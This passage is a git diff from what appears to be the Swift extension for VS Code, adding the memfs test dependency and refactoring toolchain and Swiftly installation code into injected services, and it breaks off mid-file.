diff --git a/.unacceptablelanguageignore b/.unacceptablelanguageignore index c14aa7459..db2a8fa74 100644 --- a/.unacceptablelanguageignore +++ b/.unacceptablelanguageignore @@ -1,3 +1,4 @@ assets/swift-docc-render +src/services/Shell.ts src/utilities/utilities.ts src/tasks/SwiftProcess.ts diff --git a/package-lock.json b/package-lock.json index 777c6ef3d..27415b899 100644 --- a/package-lock.json +++ b/package-lock.json @@ -63,6 +63,7 @@ "lint-staged": "^16.1.6", "lodash.debounce": "^4.0.8", "lodash.throttle": "^4.1.1", + "memfs": "^4.42.0", "micromatch": "^4.0.8", "mocha": "^11.7.2", "mock-fs": "^5.5.0", @@ -1202,6 +1203,125 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "node_modules/@jsonjoy.com/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-q6XAnWQDIMA3+FTiOYajoYqySkO+JSat0ytXGSuRdq9uXE7o92gzuQwQM14xaCRlBLGq3v5miDGC4vkVTn54xA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/buffers": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/buffers/-/buffers-1.0.0.tgz", + "integrity": "sha512-NDigYR3PHqCnQLXYyoLbnEdzMMvzeiCWo1KOut7Q0CoIqg9tUAPKJ1iq/2nFhc5kZtexzutNY0LFjdwWL3Dw3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/codegen": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/codegen/-/codegen-1.0.0.tgz", + "integrity": "sha512-E8Oy+08cmCf0EK/NMxpaJZmOxPqM+6iSe2S4nlSBrPZOORoDJILxtbSUEDKQyTamm/BVAhIGllOBNU79/dwf0g==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/json-pack": { + "version": "1.14.0", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/json-pack/-/json-pack-1.14.0.tgz", + "integrity": "sha512-LpWbYgVnKzphN5S6uss4M25jJ/9+m6q6UJoeN6zTkK4xAGhKsiBRPVeF7OYMWonn5repMQbE5vieRXcMUrKDKw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/base64": "^1.1.2", + "@jsonjoy.com/buffers": "^1.0.0", + "@jsonjoy.com/codegen": "^1.0.0", + "@jsonjoy.com/json-pointer": "^1.0.1", + "@jsonjoy.com/util": "^1.9.0", + "hyperdyperid": "^1.2.0", + "thingies": "^2.5.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/json-pointer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/json-pointer/-/json-pointer-1.0.2.tgz", + "integrity": "sha512-Fsn6wM2zlDzY1U+v4Nc8bo3bVqgfNTGcn6dMgs6FjrEnt4ZCe60o6ByKRjOGlI2gow0aE/Q41QOigdTqkyK5fg==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/codegen": "^1.0.0", + "@jsonjoy.com/util": "^1.9.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/util": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/util/-/util-1.9.0.tgz", + "integrity": "sha512-pLuQo+VPRnN8hfPqUTLTHk126wuYdXVxE6aDmjSeV4NCAgyxWbiOIeNJVtID3h1Vzpoi9m4jXezf73I6LgabgQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/buffers": "^1.0.0", + "@jsonjoy.com/codegen": "^1.0.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, "node_modules/@kwsites/file-exists": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@kwsites/file-exists/-/file-exists-1.1.1.tgz", @@ -6147,6 +6267,23 @@ "node": ">=10.13.0" } }, + "node_modules/glob-to-regex.js": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/glob-to-regex.js/-/glob-to-regex.js-1.0.1.tgz", + "integrity": "sha512-CG/iEvgQqfzoVsMUbxSJcwbG2JwyZ3naEqPkeltwl0BSS8Bp83k3xlGms+0QdWFUAwV+uvo80wNswKF6FWEkKg==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, "node_modules/glob/node_modules/jackspeak": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.1.1.tgz", @@ -6465,6 +6602,16 @@ "url": "https://github.com/sponsors/typicode" } }, + "node_modules/hyperdyperid": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/hyperdyperid/-/hyperdyperid-1.2.0.tgz", + "integrity": "sha512-Y93lCzHYgGWdrJ66yIktxiaGULYc6oGiABxhcO5AufBeOyoIdZF7bIfLaOrbM0iGIOXQQgxxRrFEnb+Y6w1n4A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.18" + } + }, "node_modules/iconv-lite": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", @@ -7603,6 +7750,28 @@ "dev": true, "license": "MIT" }, + "node_modules/memfs": { + "version": "4.42.0", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-4.42.0.tgz", + "integrity": "sha512-RG+4HMGyIVp6UWDWbFmZ38yKrSzblPnfJu0PyPt0hw52KW4PPlPp+HdV4qZBG0hLDuYVnf8wfQT4NymKXnlQjA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/json-pack": "^1.11.0", + "@jsonjoy.com/util": "^1.9.0", + "glob-to-regex.js": "^1.0.1", + "thingies": "^2.5.0", + "tree-dump": "^1.0.3", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">= 4.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + } + }, "node_modules/memoizee": { "version": "0.4.17", "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.17.tgz", @@ -10588,6 +10757,23 @@ "url": "https://bevry.me/fund" } }, + "node_modules/thingies": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/thingies/-/thingies-2.5.0.tgz", + "integrity": "sha512-s+2Bwztg6PhWUD7XMfeYm5qliDdSiZm7M7n8KjTkIsm3l/2lgVRc2/Gx/v+ZX8lT4FMA+i8aQvhcWylldc+ZNw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "^2" + } + }, "node_modules/through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", @@ -10636,6 +10822,23 @@ "node": ">=8.0" } }, + "node_modules/tree-dump": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/tree-dump/-/tree-dump-1.1.0.tgz", + "integrity": "sha512-rMuvhU4MCDbcbnleZTFezWsaZXRFemSqAM+7jPnzUl1fo9w3YEKOxAeui0fz3OI4EU4hf23iyA7uQRVko+UaBA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, "node_modules/triple-beam": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz", @@ -12190,6 +12393,62 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "@jsonjoy.com/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-q6XAnWQDIMA3+FTiOYajoYqySkO+JSat0ytXGSuRdq9uXE7o92gzuQwQM14xaCRlBLGq3v5miDGC4vkVTn54xA==", + "dev": true, + "requires": {} + }, + "@jsonjoy.com/buffers": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/buffers/-/buffers-1.0.0.tgz", + "integrity": "sha512-NDigYR3PHqCnQLXYyoLbnEdzMMvzeiCWo1KOut7Q0CoIqg9tUAPKJ1iq/2nFhc5kZtexzutNY0LFjdwWL3Dw3Q==", + "dev": true, + "requires": {} + }, + "@jsonjoy.com/codegen": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/codegen/-/codegen-1.0.0.tgz", + "integrity": "sha512-E8Oy+08cmCf0EK/NMxpaJZmOxPqM+6iSe2S4nlSBrPZOORoDJILxtbSUEDKQyTamm/BVAhIGllOBNU79/dwf0g==", + "dev": true, + "requires": {} + }, + "@jsonjoy.com/json-pack": { + "version": "1.14.0", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/json-pack/-/json-pack-1.14.0.tgz", + "integrity": "sha512-LpWbYgVnKzphN5S6uss4M25jJ/9+m6q6UJoeN6zTkK4xAGhKsiBRPVeF7OYMWonn5repMQbE5vieRXcMUrKDKw==", + "dev": true, + "requires": { + "@jsonjoy.com/base64": "^1.1.2", + "@jsonjoy.com/buffers": "^1.0.0", + "@jsonjoy.com/codegen": "^1.0.0", + "@jsonjoy.com/json-pointer": "^1.0.1", + "@jsonjoy.com/util": "^1.9.0", + "hyperdyperid": "^1.2.0", + "thingies": "^2.5.0" + } + }, + "@jsonjoy.com/json-pointer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/json-pointer/-/json-pointer-1.0.2.tgz", + "integrity": "sha512-Fsn6wM2zlDzY1U+v4Nc8bo3bVqgfNTGcn6dMgs6FjrEnt4ZCe60o6ByKRjOGlI2gow0aE/Q41QOigdTqkyK5fg==", + "dev": true, + "requires": { + "@jsonjoy.com/codegen": "^1.0.0", + "@jsonjoy.com/util": "^1.9.0" + } + }, + "@jsonjoy.com/util": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@jsonjoy.com/util/-/util-1.9.0.tgz", + "integrity": "sha512-pLuQo+VPRnN8hfPqUTLTHk126wuYdXVxE6aDmjSeV4NCAgyxWbiOIeNJVtID3h1Vzpoi9m4jXezf73I6LgabgQ==", + "dev": true, + "requires": { + "@jsonjoy.com/buffers": "^1.0.0", + "@jsonjoy.com/codegen": "^1.0.0" + } + }, "@kwsites/file-exists": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@kwsites/file-exists/-/file-exists-1.1.1.tgz", @@ -15885,6 +16144,13 @@ "is-glob": "^4.0.3" } }, + "glob-to-regex.js": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/glob-to-regex.js/-/glob-to-regex.js-1.0.1.tgz", + "integrity": "sha512-CG/iEvgQqfzoVsMUbxSJcwbG2JwyZ3naEqPkeltwl0BSS8Bp83k3xlGms+0QdWFUAwV+uvo80wNswKF6FWEkKg==", + "dev": true, + "requires": {} + }, "globals": { "version": "13.24.0", "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", @@ -16065,6 +16331,12 @@ "integrity": "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==", "dev": true }, + "hyperdyperid": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/hyperdyperid/-/hyperdyperid-1.2.0.tgz", + "integrity": "sha512-Y93lCzHYgGWdrJ66yIktxiaGULYc6oGiABxhcO5AufBeOyoIdZF7bIfLaOrbM0iGIOXQQgxxRrFEnb+Y6w1n4A==", + "dev": true + }, "iconv-lite": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", @@ -16906,6 +17178,20 @@ "integrity": "sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==", "dev": true }, + "memfs": { + "version": "4.42.0", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-4.42.0.tgz", + "integrity": "sha512-RG+4HMGyIVp6UWDWbFmZ38yKrSzblPnfJu0PyPt0hw52KW4PPlPp+HdV4qZBG0hLDuYVnf8wfQT4NymKXnlQjA==", + "dev": true, + "requires": { + "@jsonjoy.com/json-pack": "^1.11.0", + "@jsonjoy.com/util": "^1.9.0", + "glob-to-regex.js": "^1.0.1", + "thingies": "^2.5.0", + "tree-dump": "^1.0.3", + "tslib": "^2.0.0" + } + }, "memoizee": { "version": "0.4.17", "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.17.tgz", @@ -19018,6 +19304,13 @@ "editions": "^6.21.0" } }, + "thingies": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/thingies/-/thingies-2.5.0.tgz", + "integrity": "sha512-s+2Bwztg6PhWUD7XMfeYm5qliDdSiZm7M7n8KjTkIsm3l/2lgVRc2/Gx/v+ZX8lT4FMA+i8aQvhcWylldc+ZNw==", + "dev": true, + "requires": {} + }, "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", @@ -19054,6 +19347,13 @@ "is-number": "^7.0.0" } }, + "tree-dump": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/tree-dump/-/tree-dump-1.1.0.tgz", + "integrity": "sha512-rMuvhU4MCDbcbnleZTFezWsaZXRFemSqAM+7jPnzUl1fo9w3YEKOxAeui0fz3OI4EU4hf23iyA7uQRVko+UaBA==", + "dev": true, + "requires": {} + }, "triple-beam": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz", diff --git a/package.json b/package.json index 80b3ce804..6be2fcb84 100644 --- a/package.json +++ b/package.json @@ -1147,6 +1147,14 @@ } ], "commandPalette": [ + { + "command": "swift.installSwiftlyToolchain", + "when": "swift.supportsSwiftlyInstall" + }, + { + "command": "swift.installSwiftlySnapshotToolchain", + "when": "swift.supportsSwiftlyInstall" + }, { "command": "swift.runTestsMultipleTimes", "group": "testExtras", @@ -2029,6 +2037,7 @@ "lint-staged": "^16.1.6", "lodash.debounce": "^4.0.8", "lodash.throttle": "^4.1.1", + "memfs": "^4.42.0", "micromatch": "^4.0.8", "mocha": "^11.7.2", "mock-fs": "^5.5.0", diff --git a/src/FolderContext.ts b/src/FolderContext.ts index d5190a70c..cd86659ef 100644 --- a/src/FolderContext.ts +++ b/src/FolderContext.ts @@ -24,7 +24,7 @@ import { TestRunProxy } from "./TestExplorer/TestRunner"; import { FolderOperation, WorkspaceContext } from "./WorkspaceContext"; import { SwiftLogger } from "./logging/SwiftLogger"; import { TaskQueue } from "./tasks/TaskQueue"; -import { SwiftToolchain } from "./toolchain/toolchain"; +import { SwiftToolchain } from "./toolchain/SwiftToolchain"; import { showToolchainError } from "./ui/ToolchainSelection"; import { isPathInsidePath } from "./utilities/filesystem"; @@ -88,7 +88,7 @@ export class FolderContext implements vscode.Disposable { let toolchain: SwiftToolchain; try { - toolchain = await SwiftToolchain.create(folder); + toolchain = await workspaceContext.toolchainService.create(folder.fsPath); } catch (error) { // This error case is quite hard for the user to get in to, but possible. // Typically on startup the toolchain creation failure is going to happen in @@ -102,7 +102,7 @@ export class FolderContext implements vscode.Disposable { if (userMadeSelection) { // User updated toolchain settings, retry once try { - toolchain = await SwiftToolchain.create(folder); + toolchain = await workspaceContext.toolchainService.create(folder.fsPath); workspaceContext.logger.info( `Successfully created toolchain for ${FolderContext.uriName(folder)} after user selection`, FolderContext.uriName(folder) diff --git a/src/SwiftPackage.ts b/src/SwiftPackage.ts index d4b6c318a..48c1c7765 100644 --- a/src/SwiftPackage.ts +++ b/src/SwiftPackage.ts @@ -17,7 +17,7 @@ import * as vscode from "vscode"; import { SwiftLogger } from "./logging/SwiftLogger"; import { BuildFlags } from "./toolchain/BuildFlags"; -import { SwiftToolchain } from "./toolchain/toolchain"; +import { SwiftToolchain } from "./toolchain/SwiftToolchain"; import { isPathInsidePath } from "./utilities/filesystem"; import { lineBreakRegex } from "./utilities/tasks"; import { execSwift, getErrorDescription, hashString } from "./utilities/utilities"; diff --git a/src/WorkspaceContext.ts b/src/WorkspaceContext.ts index 77e5ccebc..4d1eb3bdb 100644 --- a/src/WorkspaceContext.ts +++ b/src/WorkspaceContext.ts @@ -29,11 +29,13 @@ import { SwiftLogger } from "./logging/SwiftLogger"; import { SwiftLoggerFactory } from "./logging/SwiftLoggerFactory"; import { LanguageClientToolchainCoordinator } from "./sourcekit-lsp/LanguageClientToolchainCoordinator"; import { DocCDocumentationRequest, ReIndexProjectRequest } from "./sourcekit-lsp/extensions"; +import { Swiftly } from "./swiftly/Swiftly"; import { SwiftPluginTaskProvider } from "./tasks/SwiftPluginTaskProvider"; import { SwiftTaskProvider } from "./tasks/SwiftTaskProvider"; import { TaskManager } from "./tasks/TaskManager"; import { BuildFlags } from "./toolchain/BuildFlags"; -import { SwiftToolchain } from "./toolchain/toolchain"; +import { SwiftToolchain } from "./toolchain/SwiftToolchain"; +import { ToolchainService } from "./toolchain/ToolchainService"; import { StatusItem } from "./ui/StatusItem"; import { SwiftBuildStatus } from "./ui/SwiftBuildStatus"; import { isExcluded, isPathInsidePath } from "./utilities/filesystem"; @@ -81,9 +83,11 @@ export class WorkspaceContext implements vscode.Disposable { constructor( extensionContext: vscode.ExtensionContext, + public swiftly: Swiftly, public contextKeys: ContextKeys, public logger: SwiftLogger, - public globalToolchain: SwiftToolchain + public globalToolchain: SwiftToolchain, + public toolchainService: ToolchainService ) { this.testRunManager = new TestRunManager(); this.loggerFactory = new SwiftLoggerFactory(extensionContext.logUri); diff --git a/src/commands.ts b/src/commands.ts index a94225b4d..afcd613d9 100644 --- a/src/commands.ts +++ b/src/commands.ts @@ -51,8 +51,10 @@ import { runTask } from "./commands/runTask"; import { runTest } from "./commands/runTest"; import { switchPlatform } from "./commands/switchPlatform"; import { extractTestItemsAndCount, runTestMultipleTimes } from "./commands/testMultipleTimes"; -import { SwiftLogger } from "./logging/SwiftLogger"; -import { SwiftToolchain } from "./toolchain/toolchain"; +import { Environment } from "./services/Environment"; +import { Swiftly } from "./swiftly/Swiftly"; +import { SwiftToolchain } from "./toolchain/SwiftToolchain"; +import { ToolchainService } from "./toolchain/ToolchainService"; import { PackageNode } from "./ui/ProjectPanelProvider"; import { showToolchainSelectionQuickPick } from "./ui/ToolchainSelection"; @@ -69,7 +71,9 @@ export type WorkspaceContextWithToolchain = WorkspaceContext & { toolchain: Swif export function registerToolchainCommands( toolchain: SwiftToolchain | undefined, - logger: SwiftLogger, + environment: Environment, + toolchainService: ToolchainService, + swiftly: Swiftly, cwd?: vscode.Uri ): vscode.Disposable[] { return [ @@ -77,7 +81,7 @@ export function registerToolchainCommands( createNewProject(toolchain) ), vscode.commands.registerCommand("swift.selectToolchain", () => - showToolchainSelectionQuickPick(toolchain, logger, cwd) + showToolchainSelectionQuickPick(toolchain, environment, toolchainService, swiftly, cwd) ), vscode.commands.registerCommand("swift.pickProcess", configuration => pickProcess(configuration) diff --git a/src/commands/createNewProject.ts b/src/commands/createNewProject.ts index 8cd6f9b7e..94a1718a5 100644 --- a/src/commands/createNewProject.ts +++ b/src/commands/createNewProject.ts @@ -15,7 +15,7 @@ import * as fs from "fs/promises"; import * as vscode from "vscode"; import configuration from "../configuration"; -import { SwiftProjectTemplate, SwiftToolchain } from "../toolchain/toolchain"; +import { SwiftProjectTemplate, SwiftToolchain } from "../toolchain/SwiftToolchain"; import { showToolchainError } from "../ui/ToolchainSelection"; import { withDelayedProgress } from "../ui/withDelayedProgress"; import { execSwift } from "../utilities/utilities"; diff --git a/src/commands/installSwiftlyToolchain.ts b/src/commands/installSwiftlyToolchain.ts index 929d8aab9..01471f805 100644 --- a/src/commands/installSwiftlyToolchain.ts +++ b/src/commands/installSwiftlyToolchain.ts @@ -12,28 +12,23 @@ // //===----------------------------------------------------------------------===// import * as vscode from "vscode"; -import { QuickPickItem } from "vscode"; import { WorkspaceContext } from "../WorkspaceContext"; import { AvailableToolchain, - Swiftly, SwiftlyProgressData, isSnapshotVersion, isStableVersion, -} from "../toolchain/swiftly"; +} from "../swiftly/types"; import { showReloadExtensionNotification } from "../ui/ReloadExtension"; +import { Result } from "../utilities/result"; -interface SwiftlyToolchainItem extends QuickPickItem { - toolchain: AvailableToolchain; -} - -async function downloadAndInstallToolchain(selected: SwiftlyToolchainItem, ctx: WorkspaceContext) { +async function downloadAndInstallToolchain(toolchain: string, ctx: WorkspaceContext) { try { await vscode.window.withProgress( { location: vscode.ProgressLocation.Notification, - title: `Installing Swift ${selected.toolchain.version.name}`, + title: `Installing Swift ${toolchain}`, cancellable: false, }, async progress => { @@ -41,8 +36,8 @@ async function downloadAndInstallToolchain(selected: SwiftlyToolchainItem, ctx: let lastProgress = 0; - await Swiftly.installToolchain( - selected.toolchain.version.name, + await ctx.swiftly.installToolchain( + toolchain, (progressData: SwiftlyProgressData) => { if ( progressData.step?.percent !== undefined && @@ -57,8 +52,7 @@ async function downloadAndInstallToolchain(selected: SwiftlyToolchainItem, ctx: }); lastProgress = progressData.step.percent; } - }, - ctx.logger + } ); progress.report({ @@ -68,13 +62,11 @@ async function downloadAndInstallToolchain(selected: SwiftlyToolchainItem, ctx: } ); void showReloadExtensionNotification( - `Swift ${selected.toolchain.version.name} has been installed and activated. Visual Studio Code needs to be reloaded.` + `Swift ${toolchain} has been installed and activated. Visual Studio Code needs to be reloaded.` ); } catch (error) { - ctx.logger?.error(`Failed to install Swift ${selected.toolchain.version.name}: ${error}`); - void vscode.window.showErrorMessage( - `Failed to install Swift ${selected.toolchain.version.name}: ${error}` - ); + ctx.logger.error(`Failed to install Swift ${toolchain}: ${error}`); + void vscode.window.showErrorMessage(`Failed to install Swift ${toolchain}: ${error}`); } } @@ -82,28 +74,22 @@ async function downloadAndInstallToolchain(selected: SwiftlyToolchainItem, ctx: * Shows a quick pick dialog to install available Swiftly toolchains */ export async function installSwiftlyToolchain(ctx: WorkspaceContext): Promise { - if (!Swiftly.isSupported()) { - ctx.logger?.warn("Swiftly is not supported on this platform."); + if (!ctx.swiftly.isSupported()) { + ctx.logger.warn("Swiftly is not supported on this platform."); void vscode.window.showErrorMessage( "Swiftly is not supported on this platform. Only macOS and Linux are supported." ); return; } - if (!(await Swiftly.isInstalled())) { - ctx.logger?.warn("Swiftly is not installed."); - void vscode.window.showErrorMessage( - "Swiftly is not installed. Please install Swiftly first from https://www.swift.org/install/" - ); - return; - } - - const availableToolchains = await Swiftly.listAvailable(ctx.logger); + const availableToolchains = (await ctx.swiftly.getAvailableToolchains()) + .flatMapError(() => Result.success([])) + .getOrThrow(); if (availableToolchains.length === 0) { - ctx.logger?.debug("No toolchains available for installation via Swiftly."); + ctx.logger.debug("No toolchains available for installation via ctx.swiftly."); void vscode.window.showInformationMessage( - "No toolchains are available for installation via Swiftly." + "No toolchains are available for installation via ctx.swiftly." ); return; } @@ -111,7 +97,7 @@ export async function installSwiftlyToolchain(ctx: WorkspaceContext): Promise !toolchain.installed); if (uninstalledToolchains.length === 0) { - ctx.logger?.debug("All available toolchains are already installed."); + ctx.logger.debug("All available toolchains are already installed."); void vscode.window.showInformationMessage( "All available toolchains are already installed." ); @@ -141,27 +127,20 @@ export async function installSwiftlyToolchain(ctx: WorkspaceContext): Promise { - if (!Swiftly.isSupported()) { + if (!ctx.swiftly.isSupported()) { void vscode.window.showErrorMessage( "Swiftly is not supported on this platform. Only macOS and Linux are supported." ); return; } - if (!(await Swiftly.isInstalled())) { - void vscode.window.showErrorMessage( - "Swiftly is not installed. Please install Swiftly first from https://www.swift.org/install/" - ); - return; - } - // Prompt user to enter the branch for snapshot toolchains const branch = await vscode.window.showInputBox({ title: "Enter Swift Snapshot Branch", @@ -174,12 +153,14 @@ export async function installSwiftlySnapshotToolchain(ctx: WorkspaceContext): Pr return; // User cancelled input } - const availableToolchains = await Swiftly.listAvailable(ctx.logger, branch); + const availableToolchains = (await ctx.swiftly.getAvailableToolchains(branch)) + .flatMapError(() => Result.success([])) + .getOrThrow(); if (availableToolchains.length === 0) { - ctx.logger?.debug("No toolchains available for installation via Swiftly."); + ctx.logger.debug("No toolchains available for installation via ctx.swiftly."); void vscode.window.showInformationMessage( - "No toolchains are available for installation via Swiftly." + "No toolchains are available for installation via ctx.swiftly." ); return; } @@ -190,7 +171,7 @@ export async function installSwiftlySnapshotToolchain(ctx: WorkspaceContext): Pr ); if (uninstalledSnapshotToolchains.length === 0) { - ctx.logger?.debug("All available snapshot toolchains are already installed."); + ctx.logger.debug("All available snapshot toolchains are already installed."); void vscode.window.showInformationMessage( "All available snapshot toolchains are already installed." ); @@ -219,11 +200,11 @@ export async function installSwiftlySnapshotToolchain(ctx: WorkspaceContext): Pr return; } - await downloadAndInstallToolchain(selected, ctx); + await downloadAndInstallToolchain(selected.toolchain.version.name, ctx); } /** - * Sorts toolchains by version with most recent first + * Sorts toolchains by version in descending order. */ function sortToolchainsByVersion(toolchains: AvailableToolchain[]): AvailableToolchain[] { return toolchains.sort((a, b) => { diff --git a/src/commands/runSwiftScript.ts b/src/commands/runSwiftScript.ts index 541a3a80d..9a5dcd743 100644 --- a/src/commands/runSwiftScript.ts +++ b/src/commands/runSwiftScript.ts @@ -18,7 +18,7 @@ import * as vscode from "vscode"; import configuration from "../configuration"; import { createSwiftTask } from "../tasks/SwiftTaskProvider"; import { TaskManager } from "../tasks/TaskManager"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; import { TemporaryFolder } from "../utilities/tempFolder"; /** diff --git a/src/commands/switchPlatform.ts b/src/commands/switchPlatform.ts index da067832c..99cda9210 100644 --- a/src/commands/switchPlatform.ts +++ b/src/commands/switchPlatform.ts @@ -15,11 +15,7 @@ import * as vscode from "vscode"; import { WorkspaceContext } from "../WorkspaceContext"; import configuration from "../configuration"; -import { - DarwinCompatibleTarget, - SwiftToolchain, - getDarwinTargetTriple, -} from "../toolchain/toolchain"; +import { DarwinCompatibleTarget, getDarwinTargetTriple } from "../toolchain/SwiftToolchain"; /** * Switches the appropriate SDK setting to the platform selected in a QuickPick UI. @@ -44,7 +40,7 @@ export async function switchPlatform(ctx: WorkspaceContext) { try { if (picked.value) { // verify that the SDK for the platform actually exists - await SwiftToolchain.getSDKForTarget(picked.value); + await ctx.toolchainService.getSDKForTarget(picked.value); } const swiftSDKTriple = picked.value ? getDarwinTargetTriple(picked.value) : ""; if (swiftSDKTriple !== "") { diff --git a/src/configuration.ts b/src/configuration.ts index cd45c60ea..daff29701 100644 --- a/src/configuration.ts +++ b/src/configuration.ts @@ -16,7 +16,7 @@ import * as path from "path"; import * as vscode from "vscode"; import { WorkspaceContext } from "./WorkspaceContext"; -import { SwiftToolchain } from "./toolchain/toolchain"; +import { SwiftToolchain } from "./toolchain/SwiftToolchain"; import { showReloadExtensionNotification } from "./ui/ReloadExtension"; export type DebugAdapters = "auto" | "lldb-dap" | "CodeLLDB"; diff --git a/src/contextKeys.ts b/src/contextKeys.ts index c6be7ccd1..13fc56c88 100644 --- a/src/contextKeys.ts +++ b/src/contextKeys.ts @@ -89,6 +89,11 @@ export interface ContextKeys { */ switchPlatformAvailable: boolean; + /** + * Whether or not Swiftly is installed and supports installing toolchains. + */ + supportsSwiftlyInstall: boolean; + /** * Sets values for context keys that are enabled/disabled based on the toolchain version in use. */ @@ -110,6 +115,7 @@ export function createContextKeys(): ContextKeys { let supportsReindexing: boolean = false; let supportsDocumentationLivePreview: boolean = false; let switchPlatformAvailable: boolean = false; + let supportsSwiftlyInstall: boolean = false; return { updateKeysBasedOnActiveVersion(toolchainVersion: Version) { @@ -290,5 +296,18 @@ export function createContextKeys(): ContextKeys { /* Put in worker queue */ }); }, + + get supportsSwiftlyInstall() { + return supportsSwiftlyInstall; + }, + + set supportsSwiftlyInstall(value: boolean) { + supportsSwiftlyInstall = value; + void vscode.commands + .executeCommand("setContext", "swift.supportsSwiftlyInstall", value) + .then(() => { + /* Put in worker queue */ + }); + }, }; } diff --git a/src/debugger/debugAdapter.ts b/src/debugger/debugAdapter.ts index 1863352c6..96b5b57d6 100644 --- a/src/debugger/debugAdapter.ts +++ b/src/debugger/debugAdapter.ts @@ -12,7 +12,7 @@ // //===----------------------------------------------------------------------===// import configuration from "../configuration"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; import { Version } from "../utilities/version"; /** diff --git a/src/debugger/debugAdapterFactory.ts b/src/debugger/debugAdapterFactory.ts index 7fdc0d0af..078053032 100644 --- a/src/debugger/debugAdapterFactory.ts +++ b/src/debugger/debugAdapterFactory.ts @@ -17,8 +17,9 @@ import * as vscode from "vscode"; import { WorkspaceContext } from 